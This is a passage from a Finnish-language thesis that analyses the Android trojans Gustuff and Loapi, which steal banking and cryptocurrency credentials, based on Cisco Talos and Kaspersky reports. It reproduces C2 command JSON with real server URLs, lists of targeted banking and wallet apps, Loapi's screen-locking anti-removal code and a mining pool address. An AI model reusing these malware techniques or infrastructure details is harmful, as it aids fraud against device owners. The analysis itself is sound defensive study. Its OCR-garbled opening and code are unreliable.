CETTAN e, 0" T AT, T L AL RN B 107, T L COrr ag RO MEARER" , TR T 0AF DR LADIE., ANEr0 LA, "o, e loader, wob L Lebank Lag. F LT Fe Leen™, “pL rad f ek e, afe",
"heL855000, AndroLA. | Saba. reb”, "con. advantage. Aa L felsenliank™, "o L.l L Lenndun. corpAoe™, "Wt eadre id. BepBackingAsg, i LLenn uaPL", "ol ot moj ente”

e T T r DL 00" T, hany Laba, CRPLpat™ Trom, T Lnantag. FIAene, €A%, P earoteni™, “p L enrohanh 2 Ta L. sablehans 000 L La", “Con. calate anaraiet,

TR et 5., SA7 L LR eN 137, T Com, s U1 Lon, and a0 4. AT00™ , "B Lk B AACMNIIA, Inir e i a”, S Secret, s cess”

Kuvio 17. C2:lta vastaanotetut paketit (Ventura, V. 2019.)

3. adminNumber: Adminin puhelinnumeron asennus (kts. Kuvio 18.) Cisco Talo-
sin tapauksessa se kuuluu Australian mobiiliverkkoon.

{

"results": "OK",

"command": {
"id": "p35gtyo26FeyZSewb",
"command": "adminNumber",

"

"timestamp": 1554130386162,
"params": {
: "+614ss NI ",

"number"
"sendId": true

}

Kuvio 18. Admin puhelinnumero

4. changeServer: Haittaohjelma vaihtaa C2:sta uuteen hostiin (kts. Kuvio 19.)

APl ja kommunikaatio protokolla sadilyvat samana. Uuden palvelimen URL on

peitetty, jottei sitad tunnisteta helposti.

{

"results": "OK",
"command": {
"id": "T7ueybdK3AHJa5txoR",
"command": "changeServer",
"timestamp": 1554130445624 ,|
"params": {
"url": "BQS?83\\N-G3%d30/ho:A/i#+704Ag60)",
"array": [
"BOS?83\\N-G3%d30/ho:A/i#+704Ag60)",
"BOS?83\\N.-A7fXilGiN]A921#A2,hq@<5t\"F(AltlbpjD/ol(£@;o0p6"
]
}
b
}

Kuvio 19. Palvelimen vaihdon pyynt6
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5. changeActivity: Toimintojen peitteeksi asetetaan verkkondakyma (kts. Kuvio

20.) Verkkonakymia sailytetdan toisella palvelimella.

{

"results": "OK",
"command": {
"id": "zEhLBjzjgp3CCzGMb",
"command": "changeActivity",
"timestamp": 1554130506392,
"params": {
"array": [
{
"type": "lock",
"web": "http://88.99.227.26/html2/2018/GrafKey/new-inj-135-3-dark.html",
"si": "ic_android",|
"1i": "archive/li/ic_android.png",
"id": "secret.access"
T
{
"type": "lock",
"web": "http://88.99.227.26/html2/new-inj-135-3-white.html",
"si": "ic_android",
"1li": "archive/li/ic_android.png",
"id": "secret.pattern"

}
1+

"check": false

}
}
}

Kuvio 20. changeActivity komento

6. params: Taman komennon avulla voidaan muuttaa haittaohjelman konfigu-
raatio parametreja. Aktivoinnin tassa vaiheessa haittaohjelma lisdaa beaco-

ningin maaraa tunnistamisen valttamiseksi (kts. Kuvio 21.)

{

"results" "OK",
"command": {
"id": "dWN72jkxCcSYDwcef",
"command": "params",
"timestamp": 1554130565723,
"params": {
"pingTime": 300000,
"actionSend": true

(L]

}

Kuvio 21. Beaconingin muutoksen komento

7. changearchive: Aktivoinnin viimeisena komentona ladataan arkisto, joka si-
jaitsee samalla hostilla kuin verkkonakymat (kts. Kuvio 22.) Tdma arkisto on

ZIP, joka sisaltaa useita salasanalla suojattuja tiedostoja. (Ventura, V. 2019.)
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{

"results": "OK",
"command": {
"id": "aNCNb6jt9HZwWPBP62",
"command": "changeArchive",
"timestamp": 1554130865971,
"params": {
"url": "http://88.99.227.26/html2/arc92/aud83x.zip"

}
}
}

Kuvio 22. Arkiston vaihtokomento (Ventura, V. 2019.)

5.2.6 Haitallinen toiminta

Aktivoinnin jalkeen haittaohjelma aloittaa tiedonkeruun. Taman jalkeen troijalainen
alkaa suorittaa haitallisia toimintojaan. Nama toiminnot ovat riippuvaisia laitteen
konfiguroinnista seka virustorjuntaohjelmasta ja sijainnista. Haittaohjelma pystyy ke-
raamaan uhrin tunnistetietoja kohdistetuista sovelluksista, anastaa kaikki henkil6-
kohtaiset tiedot tai kayttamaan uhrin laitetta levittadkseen troijalaista tekstivies-

teilla. (Ventura, V. 2019.)

Haittaohjelma kayttaa useita verkkonakymia apunaan saadakseen kayttajien kirjautu-
mistiedot. Ne ovat mukautettu niin, ettd haitallinen operoija saa haluamansa tiedot.
Ensimmainen verkkondkyma luodaan aktivoinnin kuudennessa vaiheessa. (Ventura,

V. 2019.)

Kuvion 23 laitteen PIN (Personal Identification Number) koodia vaativa verkkona-
kyma, toimitetaan valittomasti C2:lle. Haittaohjelman aktivoinnin vaiheessa 7 ladatun
ZIP tiedosto sisaltaa kaikki verkkondakymien luontiin tarvittavat tiedostot: HTML (Hy-
pertext Markup Language), CSS (Cascading Style Sheets) sekda PNG (Portable Network
Graphics). Cisco Talos I6ysi arkistosta kaikkiaan 189 eri logoa pankeista kryptovaluu-
tan vaihtoihin. Arkistosta l6ytyi myos kaikki tarvittavat koodit Australian rahoituslai-
tosten kohdentamiseen. Verkkondakymat aktivoidaan vaiheen 5 changeActivity ko-
mennolla, jonka HTML koodi I16ytyy C2:n infrastruktuurista. Haitallinen operoija ei
kuitenkaan tarvitse C2:n infrastruktuuria lainkaan suorittaakseen toimintaansa, koska
laitteeseen ladatussa arkistossa on jo kaikki tarvittavat tiedot ja operoijalla on jo

paasy laitteeseen tekstiviestin kautta. (Ventura, V. 2019.)
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Pin confirmation

Enter your device PIN to continue

Submit

| use password lock

| use pattern lock

Kuvio 23. PIN koodin pyynnon verkkonakyma (Ventura, V. 2019.)

5.3 Gustuffin uudempi versio

5.3.1 Yleista

Syksylla 2019 Gustuffista ilmestyi uusi versio uusilla ominaisuuksilla. Pian sen jadlkeen,
kun Cisco Talos havaitsi Gustuffin huhtikuussa 2019, sen operoijat vaihtoivat jakelu
hosteja seka poistivat kdytdsta C2 infrastruktuurin. Haittaohjelman hallinta kuitenkin
sailyi toissijaisen tekstiviesteihin perustuvan admin kanavan ansiosta. Gustuffin uu-
simmassa versiossa ei ole enda kovakoodattuja pakettien nimia. Nain ollen silld on
paljon alhaisempi staattinen jalanjalki edelliseen verrattuna. Lisaksi silla on kyky ajaa
skripteja JavaScript ohjelmointikielelld. Tama on melko innovatiivista Androidin hait-

taohjelmien keskuudessa. (Ventura, V. 2019.)

Cisco Talosin aikaisemmin analysoima Gustuffin versio pohjautui vahvasti Marcheriin,

toinen pankkeihin kohdistuva troijalainen, joka on ollut aktiivisena jo usean vuoden
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ajan. Gustuffin uusi versio on muuttunut eikd se enda muistuta Marcheria. Tama ver-
sio kohdistuu yha paadsaantoisesti australialaisiin kayttajiin haitallisten tekstiviestin

avulla. (Ventura, V. 2019.)

5.3.2 Kampanja

Gustuffin ensi-ilmaantumisen jalkeen sen operoijat vaihtoivat jakelu metodejaan.
Edelliset metodit asetettiin mustalle listalle, joten sen operoijat poistivat C2:n kay-
tosta. Kesakuussa havaitussa uudessa kampanjassa ei ollut merkittavia muutoksia.
Facebookin sijaan kayttdjien houkuttimena haittaohjelman lataukseen ja asennuk-
seen kaytettiin Instagramia. Instagramiin liittyvia domaineja kaytettiin alustavana tar-
tunnan vélineend. Kuviosta 24 kay ilmi DNS kyselyiden maara, jotka kasvoivat kesa-

kuussa. (Ventura, V. 2019.)

DNS QUERIES MAY 26 - JUN. 25, 2019
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Kuvio 24. Kesdakuun DNS kyselyt (Ventura, V. 2019.)

Lokakuussa havaitun uuden kampanjan mukana tuli myos haittaohjelman uusi versio.
Edellisen version tapaan, vaikka kohde ei olisikaan potentiaalinen, sita silti kdytetdan
hyodyksi haittaohjelman levityksessa tekstiviestien avulla. Naita viesteja lahetetdan
300 per tunti. Tama levitys tapa ei kuitenkaan ollut kovin tehokas. Cisco Talos ei huo-
mannut kovinkaan monta osumaa haittaohjelman isantd domaineilta. (Ventura, V.

2019.)
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Kuviosta 25 selvida, etta uusi versio kohdistui yha paasaantoisesti Australian rahoi-
tuslaitoksiin ja digitaaliseen valuutan lompakoihin. Niiden lisdaksi se naytti ottavan
kohteekseen myos rekrytointisivujen mobiilisovelluksia seka Australian hallituksen

portaalia (Ventura, V. 2019.)

i
"results*: "OK",
*command® : {
*apps": [

*com.android. vending®
*au.com.nab.mobile*,
“com.anz.androld. gomoney®
“arg.westpac.bank" ,
“au.com. bankwest.mobile",
*com.ubank . 1nternetbanking®,
Yau.com.suncorp. SuncorpBank" ,
*arg.stgeorge.bank®,
“org.banksa.bank*,
“org.bom.bank",
“com.anz.android®,
"com.citibank.mobile.au",
“au.com.ingdirect.android",
“cam.commbank . netbank",

O CL e Lo . androLaT,
“com.colnbase. android",
"com.moneybookers . skrillpayments®
"com.westernunion. android. mtapp",
"pruk . blockchain.androvd®”,
*com.bitcoin.meallet”,
*com.btcontract, wallet®,
*com.bitpay.wallet”,
*com.bitpay.copay" .
‘bte.org.freswallet.app” .
*org.electrum.electrum® ,
“com.xapo” ,

“com.airbit=",
*com.kibou.bitcoin®,
"com.qcan.mobile.bitcoin.wallet,
“me.cryptopay.android”,
“com.bltcoin.wallet"
“lt.spectrofinance.spectrocoin.android.wallet",
“com.kryptokit.jax=x"

“com.wirex",
"ben.org.freswallet.app”,
“com.hashengineering.bitcoincash.wallet",
“bec.org.fresewallet. app”,

Y Com. COLNSpace . app” ,
"brtg.org.freswallet. app",
"com.bitpie",

"net.bither",
"co.edgesecure.app”,
"com.archit.archit”,
"distributedlab.wallet”,
*de.schildbach.wallet_test®,
‘com.plutus.wallet®,
“com.colncorner.app.crypt",

*org.vikulin.etherwallet”,
. o5 '|'|_

& = | & |
“au.com.sesk",
“com.indeed.android. jobsearch"
“com.indeed.androidemployers®,

2

"secret.pattarn"

Kuvio 25. Kohteet (Ventura, V. 2019.)

5.3.3 Tekniset tiedot

Uusi versio kayttdaa yha samaa paketoijaa, mutta sen aktivoinnissa on useita muutok-

sia mm. tilan pysyvyys asennuksessa. Haittaohjelma yrittda luoda asennuksen yhtey-
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dessa tiedoston nimeltd uu.dd. Mikali tama tiedosto onnistutaan luomaan, haittaoh-

jelman ei tarvitse kayda lapi jokaista aktivoinnin vaihetta. Sen sijaan kaikki komennot

tulevat suoraan C2:Ita. Kohdistetut sovellukset annetaan haittaohjelmalle jo aktivoin-

nin yhteydessa komennolla checkApps (kts. Kuvio 26.) Tama ominaisuus oli jo edelli-

sessa versiossa, mutta se ei ollut pakollinen. Lista Gustuffin estamista virustentorjun-

taohjelmista on nyt my6s mukana aktivoinnissa. (Ventura, V. 2019.)

i

"results®: "OK",
*command® @ {

“apps": [
*com.android.vending”,
*au.com.nab.mobila®,
*com.anz.android.gomoney®,
*aorg.westpac.bank",
“au.com.bankwest.mobile" ,
*com.ubank.internetbanking®,
*au.com.suncorp.SuncorpBank" ,
‘“org.stgeorge.bank",
‘“org.banksa.bank®,
“org.bom.bank",
“com.anz.android",
“com.citibank.mobile.au",

1.

au.com.ingdirect,android",
cam,.cammbank .nathank" ,
com.circle.android",
com.colnbase.android",
cam.moneybookers . skrillpayments®,

"com.westernunion. androlid. mtapp" ,

"piuk . blockchain.android-,
*cam.bitcoin.mwallet”,
*caom.btcontract.wallet”,
*com.bitpay.wallet®,
*com.blitpay.copay" .
‘btc.org.freewallet.app" .
*org.electrum.electrum®,
*com.xapo” ,

*com.airbit=z*,
“com.kibou.bitcoin®,
*com.qcan.mobile.bitcoin.wallet",
“me.cryptopay.android",
“com.bitcoin.wallet",
"lt.spectrofinance.spectrocoin.android.wallet",
“com.kryptokit. jaxx",

"com.wilrax",
‘ben.org. freawallet, app” ,
"cam.hashengineering.bitcoincash.wallat",

bee.org. freswallet. app",

‘cam. calnspace. app,
"brtg.org.freswallet, app" .,
"com.bitpie",

"net.bither",
"co.edgesecure . app” .,
"com.archit.arcbit®,
"distributedlab.wallet®,
*de.schildbach.wallet_test",
*com.plutus.wallet”,
*com.colncorner.app.crypt" .
*org.vikulin.etherwallet”,
*eth.org.freswallet.app" .
“au.com.sask®,
“com.indeed.android. jobsearch",
“com.indeed.androidemployers®,
“secret.access”,
“secret.pattern”

“type": “checkapps”,
“id": *"nh2gZpeMakYKSSgBR" ,
“timestamp” : "2019-10- 10TO9: 12: 08, 4822

}
}

Kuvio 26. checkApps komento (Ventura, V. 2019.)
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Naillda muutoksilla haluttiin alentaa haittaohjelman staattista analysoinnin jalanjal-
ked. Tassa versiossa on myds muutettu vuorovaikutusta laitteen kanssa. Komennon
interactive avulla kaytetaan esteettémyys APIl:a pankkisovellusten kayttoliittyman

hallintaan. (Ventura, V. 2019.)

5.3.4 Gustuffin yhteenveto

Gustuff ndyttaa olevan jatkuvasti kehittyva uhka, sen taustalla oleva tekija tuntuu jat-
kavan riippumatta siita, kuinka paljon se saa huomiota. Ensimmaisen version analy-
soinnin jalkeen, sen operoijat muuttivat haittaohjelma koodia, jotta se olisi vaikeam-
min havaittavissa. Kampanjaan itsessaan ei tehty muutoksia, mutta se silti muutti
metodeja, jolla se suoritti rikollista toimintaansa. Haittaohjelman kohteena on edel-

leen rahoituslaitokset seka kryptovaluutat. (Ventura, V. 2019.)

5.4 Loapi

5.4.1 Yleista

Vuoden 2017 loppupuolella Kaspersky Labs raportoi troijalaisesta nimelta Loapi, joka
keskittyi kryptovaluutta Moneron louhintaan Android laitteilla. Se kayttaa louhin-
nassa laitteen prosessoria niin paljon etta eraan sen tutkijan laitteen akku turposi ja
melkein rikkoi sen takakannen. Loapi I6ydettiin noin 20 eri sovelluksesta. Louhinnan
lisaksi se kdytti mainoksia tehdakseen rahaa, tekstiviesteja seka DDoS (Distributed

Denial of Service) hyokkayksia. (Conner, F. 2017.)

5.4.2 Jakelu ja tartunta

Loapia jaetaan mainoskampanjoiden avulla. Haitalliset tiedostot ladataan hydkkaajan
haitallisesta verkkoldhteesta. Loydettyjen 20 eri sovelluksen joukkoon kuuluu ldhinna
suosittuja virustentorjunta sovelluksia. Asennuksen jalkeen sovellus pyytaa laitteen
jarjestelmanvalvojan oikeuksia niin kauan, kunnes kayttaja hyvaksyy (kts. Kuvio 27.)

Samalla tarkistetaan, onko laite rootattu. Saatuaan edelld mainitut oikeudet, riippuen
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sovelluksesta, se piilottaa kuvakkeensa tai simuloi virustentorjunta toimintaa.

(Buchka, N., Galov, D. & Kivva, A. 2017.)

® v 5:10

Activate device administrator?

D CM Security

Android Administrator

Activating this administrator will allow the app
CM Security to perform the following operations:

Lock the screen
Control how and when the screen locks.

CANCEL ACTIVATE

Kuvio 27. Jarjestelmanvalvojan oikeuksien pyynt6 (Buchka, N., Galov, D. & Kivva, A.

2017.)
5.4.3 lItsepuolustus

Mikali kayttaja yrittdisi vieda laitteen oikeudet pois Loapilta, se lukitsee laitteen nay-

ton seka laitteenhallinta asetukset ja suorittaa kuvion 28 mukaisen koodin:
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public CharSeguence onDisableRequested(Context argh, Intent arg7) {
Object v@ = argb.getSystemService("device_policy");
((DevicePolicyManager)ve).lockNow();
Intent vl = new Intent("android.settings.SETTINGS");
vl.setFlags(8x10880808);
vl.addFlags(0x40808888) ;
vl.addFlags (8x8008);
vl.addFlags (8x40080808);
vl.addFlags(@x800008);
argh.startActivity(vl);
AtomicInteger vl 1 = new AtomicInteger(8);
Handler w2 = new Handler();
v2.postDelayed(new LockNow(this, vl 1, ((DevicePolicyManager)v@), v2), 304);
v2.postDelayed(new ScareUser(this, arg6), 2000);
return "Phone data will wiped. Are you sure?";

Kuvio 28. Laitteen lukituksen koodi (Buchka, N., Galov, D. & Kivva, A. 2017.)

Taman lisaksi Loapi pystyy vastaanottamaan sen C2:lta listan sovelluksista, jotka voi-
vat uhata sen toimintaa. Listan avulla se pystyy valvomaan asennusta seka uhkaavia

sovelluksia. Jos joku listan sovelluksista asennetaan tai avataan, Loapi nayttaa kuvion
29 mukaisen valheellisen viestin, jonka mukaan se on havainnut haittaohjelman, joka
pitdisi poistaa. Viesti ndaytetaan yha uudelleen, vaikka kayttadja hylkaisi sen. Kayttadjan

on siis pakko tehda kuten viesti pyytaa. (Buchka, N., Galov, D. & Kivva, A. 2017.)

0 Kaspersky Internet Security

Do you want to uninstall this app?

CANCEL 0K

Android Security: Malware detected!

Kuvio 29. Huijausviesti haittaohjelmasta (Buchka, N., Galov, D. & Kivva, A. 2017.)
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5.4.4 Arkkitehtuuri

Kuviossa 30 nakyy troijalaisen arkkitehtuuri, joka koostuu eri kerroksista. Aluksi hai-
tallinen sovellus lataa assets kansiosta tiedoston, jonka se avaa Base64 avulla ja sit-
ten purkaa XOR (Exclusive or) operaattorilla. Ndiden jalkeen saatu DEX (Dalvik Exe-

cutable) tiedosto on ladattu ClassLoaderilla. (Buchka, N., Galov, D. & Kivva, A. 2017.)

First stage: Dropper Malware APK

Obfuscated part

Second stage: Controller Payload DEX

, , ,

Third stage: Modules
Proxy Crawler
Non-obfuscated part
n

Kuvio 30. Troijalaisen arkkitehtuuri (Buchka, N., Galov, D. & Kivva, A. 2017.)

Haitallinen sovellus ldhettaa sen toisessa vaiheessa C2:lle tiedot laitteesta JSON muo-

dossa.

"PhoneInfo": {
"DeviceImed
"MacAddres
"VersionC
"Language"”
"Androidl
"Pseudold”: "
"Androidsdk”: 17,

8",
undefined"”,
"2@17-11-17T12:20:37+03:80",
"1 1518926852,

iozilla\/5.8 (Linux; Android 6.9.1;..."
"IsCanfleasure™:

Ia,
"SimInfo": {
"Netw

"SimOperatoriame
"IzRoaming": false

I
"AppInfo": {
"5dkId": @

": 1519926852,
com ._vhmnkdxnz .zfdec",

"Pel FIIJ.SE_OHS":J[].
"IsApk": true,
"IsIconHidden™: true

Kuvio 31. Laitetiedot C2:lle (Buchka, N., Galov, D. & Kivva, A. 2017.)
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C2 lahettaa vastauksena komennon kuviossa 32 olevassa muodossa:

s://alluorine.info”, "https://narusnex.info", "https://ngkciwmng.info",
of .imfo", "https://golangwg.info™, "https://nvewpvnid.info"

':-IES'EI"'-:EJESI"E"_I’S': ["https://mancortz.info", "https://fds
'hic": false,|

‘dangerousPackagesz": []

vtrwda.info"],

Kuvio 32. C2:n vastaus (Buchka, N., Galov, D. & Kivva, A. 2017.)

Installs nayttaa listan ladattavista ID (Identifier) moduuleista, removes listaa poistet-
tavat ID modulit. Domains nayttaa listan kdytettavista C2 palvelimista ja reserved-
Domains on lista varalla olevista domaineista. Hic nayttaa, etta sovelluksen kuvake
tulisi piilottaa kayttajalta. DangerousPackages kertoo, mitka sovellukset taytyy estaa

asentumasta.

Kolmannessa ja viimeisessa vaiheessa asennetaan moduulit. Niiden sisaan piilotetaan

kaikki haitalliset toiminnat. (Buchka, N., Galov, D. & Kivva, A. 2017.)

5.4.5 Moduulit

Loapilla on viisi eri moduulia, joista jokainen levittdaa haittaohjelmaa omalla tavallaan:

Mainos moduuli

Taman moduulin tehtdva on nayttda mahdollisimman paljon mainoksia kayttajan lait-

teella. Sen toiminnallisuuteen kuuluu:

= Video mainosten ja bannerien kaytto

= Maadritetyn URL:n avaus

= Qikoteiden luonti laitteelle

= |Imoitusten naytto

= Sosiaalisten medioiden sivujen avaus mm. Facebook ja Instagramissa

= Muiden sovellusten lataus ja asennus
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Kuvion 33 tehtavan kasittelyssa sovellus |ahettda salaisen pyynnon verkkosivustolle

hxxps://ronesio.xyz/advert/api/interim, josta kayttaja ohjataan mainossivustolle.

(Buchka, N., Galov, D.

‘ads": {

"
.
"landingdds":
nraom,
=l

"shortcutsads":

& Kivva, A. 2017.)

null,

dialoghds": null,
pushAds™: null,

i
wId™: 3,
'ListId": &
"url™: "https:/Sronesio zjadvertfapi/interim?did=2643593uBB2611d=195
"headers": { . )
"Referer™: "hittp://mp-tracker.com/click.php?id=4nTR35Z"
¥
"la": "Mozilla/5.e (Linux; U; Android 4.2.1; english-english; PAPS@44DU

"delayTime":

"connType™:

ractVideo

tagramads™:
tractImagefds™: null,

"ocpenInBrowser": false,

"openMode™ : "EackgPCLﬂs“,
dy
"Eny"

null,

ds": null,|

geVideolds": null,
5": null

¥ 14408

Kuvio 33. Palvelimelta vastaanotettu koodi mainosten nayttamiseen (Buchka, N., Ga-
lov, D. & Kivva, A. 2017.)

SMS moduuli

Taman moduulin tehtdva on kayttaa tekstiviesteja erilaisissa manipulointimenetel-
missd. Moduuli on yhteydessa C2:een, jolta se pyytda ajoittain asetuksia ja komen-

toja. Sen toimintoihin kuuluu:

=  Tekstiviestien lahetys hyokkaajan palvelimelle

= Viesteihin vastaaminen C2:Ita saadun maskin mukaisesti

= Maaritetyn tekstiviestin lahetys maaritettyyn numeroon C2:lta saadun tiedon
mukaan

= L3dhetettyjen viestien poisto C2:lta saadun maskin mukaisesti

=  Pyyntdjen suoritus URL:iin ja maaritetyn JavaScript koodin ajo vastaanotetulla

sivulla. (Buchka, N., Galov, D. & Kivva, A. 2017.)
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Hakurobotti moduuli

Tama moduuli kayttaa piilotettua JavaScript koodia WAP (Wireless Access Protocol)
laskutusta kayttavilla sivustoilla saadakseen kayttajan tilaamaan palveluita. Palvelui-
den kayttoéonotosta lahetetdan joskus vahvistusviesti, joihin SMS moduulia hyvaksi-
kayttava troijalainen lahettaa vastausviestin, ottaen palvelun kaytt6é6n. Tata moduu-
lia voidaan kayttaa myos verkkosivujen indeksoinnissa, josta nakyy esimerkki kuvi-
ossa 34. Kasperskyn 24 tunnin kokeilun aikana tama seka mainosmoduuli yrittivat

avata noin 28000 eri URL:a. (Buchka, N., Galov, D. & Kivva, A. 2017.)

.8.1; AOSP on HammerHead Build/M4B3BZ; wv)<truncated too long>",

: true,
"<truncated too long>"

Kuvio 34. Esimerkki verkkosivun indeksointi tehtavasta (Buchka, N., Galov, D. & Kivva,

A.2017.)

Vilityspalvelin moduuli

Tahan moduuliin on toteutettu HTTP (Hypertext Transfer Protocol) valityspalvelin,
jonka avulla [ahetetdaan HTTP pyynt6ja uhrin laitteesta. Naiden avulla voidaan tehda
DDoS hyokkayksia tiettyihin resursseihin. Tallda moduulilla on mahdollista myos vaih-
taa laitteen yhteys tyyppia esim. mobiilidatasta Wi-Fi yhteyteen. (Buchka, N., Galov,
D. & Kivva, A. 2017.)
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Moneron louhinta

Moneron louhintaan kaytetaan Androidin versiota minerdista, joka on kryptovaluu-
tan louhintaan kaytettava troijalainen. Kuviossa 35 on koodi, jolla louhinta kaynniste-

tdan. Koodissa on kaytdssa seuraavia argumentteja:

» URL kertoo louhinta poolin osoitteen: stratum+tcp://xmr.pool.miner-
gate.com:45560.

= this.user on satunnaisesti valittu kayttdjanimi kuten swiftjobs@rambler.ru.

= password eli salasanan vakioarvo on gwe. (Buchka, N., Galov, D. & Kivva, A.

2017.)

Kuvio 35. Louhinta koodi (Buchka, N., Galov, D. & Kivva, A. 2017.)

5.4.6 Loapin yhteenveto

Loapi oli haitallisten Android sovellusten keskuudessa hyvin erikoinen. Laitteisiin koh-
distuvissa hyokkayksissa kaytettiin laajalti melkein kaikkia olemassa olevia keinoja:
tekstiviesteja, rahantekoa mainosten avulla, kryptovaluutan louhintaa kayttajan lait-
teen resursseja kdyttaen, maksullisten palveluiden tilausta seka erindisten toiminto-
jen suoritusta internetissa kayttajien laitteilla. Vakoilua talla troijalaisella ei suori-
tettu, vaikka siihenkin olisi ollut mahdollisuus. (Buchka, N., Galov, D. & Kivva, A.

2017.)
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6 Johtopaatokset

Kryptovaluuttoihin kohdistuvat haittaohjelmat ovat kasvaneet merkittavasti vuosien
aikana. Olemassa olevia haittaohjelmia kehitetaan nyt myds mobiililaitteita varten.
Yhtena tarkeimmista tavoitteista on olla mahdollisimman huomaamaton. Monissa ta-

pauksissa kayttajat eivat edes huomaa haittaohjelman olemassaoloa lainkaan.

Suurin osa hyokkayksista ndyttaa tapahtuvan Android laitteisiin, johtuen kaiketi siit3,
etta silla on suurin kayttajakunta mobiililaitteissa. Androidissa itsessaan seka sen so-

velluksissa on my0s lukuisia turvallisuusaukkoja.

Troijalaista virusta kdytetdaan usein pohjana haittaohjelmien suunnittelussa sen moni-
puolisten ominaisuuksien sekd hydkkays menetelmien takia. Kryptovaluutan louhin-
taan kohdistuvat haittaohjelmat on kasvanut suosiossa viimeisen parin vuoden ai-

kana.

Kuitenkin suhteellisen iso maara kampanjoista jaa melko lyhyeksi tai se ei ehdi saada
paljoa aikaan. Ne taas, jotka sdilyvat kaytossa pidempaan, joutuvat paljastumisensa
jalkeen usein tekemaan muutoksia niiden toiminta tapoihin. Gustuffin ja Loapin ta-
pauksissa Gustuffin kampanja oli paljon Loapia laajempi. Kumpikaan niista ei kuiten-

kaan saanut aikaan suuria vahinkoja.

7 Pohdinta

Tyon tavoitteena oli tutkia mobiililaitteisiin kohdistuvia haittaohjelmia, joiden tarkoi-
tus oli kryptovaluutan anastaminen kayttajalta. Juuri taman tyon aihetta kasittelevia
toita ei loydy yhtdkaan. Tarkoituksena oli tuoda esille, minkalaisia tyokaluja sekd me-

netelmia hyokkaajat kayttavat saavuttaakseen edelld mainitun asian.

Tyon tavoite tdyttyi ja tyossa esiteltiin kaksi erilaista haittaohjelmaa, joiden tavoitteet

olivat hyvin samanlaisia, mutta niiden menetelmat erosivat toisistaan melko paljon.
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Ty06ssa olisi voitu mahdollisesti esitella enemman kuin kahta haittaohjelmaa, mutta
silloin tyo olisi sisdltédnyt samoja asioita toistuvasti. Kryptovaluuttojen haittaohjelmat
pohjautuvat monissa tapauksissa troijalaiseen virukseen, joten niiden menetelmat
ovat usein samanlaiset. Useimpien haittaohjelmien kampanjat olivat jaaneet melko
Iyhyiksi, eika niista nain ollen ollut raportoitu kovinkaan kattavasti, mika taas vai-

keutti tapausten etsintaa.

Tietoperustana tyossa oli pyritty kdayttamaan lahteina luotettavia, usein eri kyber-
turva yritysten seka toimijoiden artikkeleita, oppaita seka analyyseja. Materiaalia tyo-
hon liittyen 16ytyi runsaasti ja se oli helposti [6ydettavissa. Teoriaosuudessa tuotiin
esille tyon aihealueeseen liittyvia asioita mm. yleisesti mobiililaitteista seka kryptova-

luutoista. Joistakin teoriaosuuden aiheista olisi voitu kertoa hieman laajemmin.

Haasteena tyon tekemisessa oli miettid, mika tyon tarkoituksena oikeastaan oli. Tek-
nisen osuuden keksiminen tyohon oli hankalaa, siksi paadyttiin teoreettisempaan to-
teutukseen. Myos tyon rajauksessa oli hieman ongelmia. IIman naitd ongelmia tyo

olisi voitu saada valmiiksi lyhyemmassa ajassa. Tyon tekeminen oli kuitenkin opetta-

vaista ja tietdmys aiheeseen liittyen kasvoi merkittavasti alkuvaiheeseen verrattuna.
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